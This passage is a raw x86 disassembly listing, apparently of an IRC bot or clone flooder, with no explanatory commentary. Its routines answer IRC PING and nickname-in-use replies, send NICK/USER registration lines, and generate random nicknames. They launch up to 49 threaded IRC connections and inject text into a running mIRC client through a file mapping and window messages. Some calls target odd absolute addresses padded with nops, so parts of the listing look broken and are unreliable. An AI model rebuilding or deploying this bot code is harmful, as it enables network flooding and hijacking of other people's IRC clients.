		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------

loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_4387BC
		jmp	short loc_417885
; ---------------------------------------------------------------------------

loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_4387B8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3

loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_4387AC

loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4

loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax

loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4014[esi]
		mov	dword_4D4008[esi], edi
		push	dword_4D4214[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D400C[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAFC4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch

loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAF8C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996

loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------

loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D400C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx

loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------

loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D4008[esi], ebx
		mov	esi, dword_4D400C[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB00C

loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8

loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D4008

loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DA728
		jl	short loc_417A78

loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4014[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4214[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4008[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71

loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_437EF8[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------

loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437BF8[edx*4]

loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3

loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D

loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_437EF8[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al

loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch

loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC

loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------

loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl

loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC

loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------

loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl

loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi

loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------

loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8

loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------

loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h

loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi

loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl

loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi

loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx

loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------

loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax

loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------

loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7

loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2

loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0

loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1

loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]

loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4

loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch

loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx

loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi

loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx

loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A

loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx

loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA

loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------

loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------

loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 267084Ch
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 27C0000h
		nop
		lea	eax, [ebp+var_100]

loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194

loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------

loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194

loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA72C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CAF64
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		nop
		call	near ptr 27D05D2h
		push	esi
		mov	edi, eax
		call	near ptr 27D0000h
		nop
		call	dword_4CAFC8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CAF80
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 27E015Bh
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 27E0000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CAFD0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CAFD0
		push	ebx
		call	near ptr 27D0BC8h
		nop
		push	edi
		call	near ptr 26509C3h
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------

loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax

loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

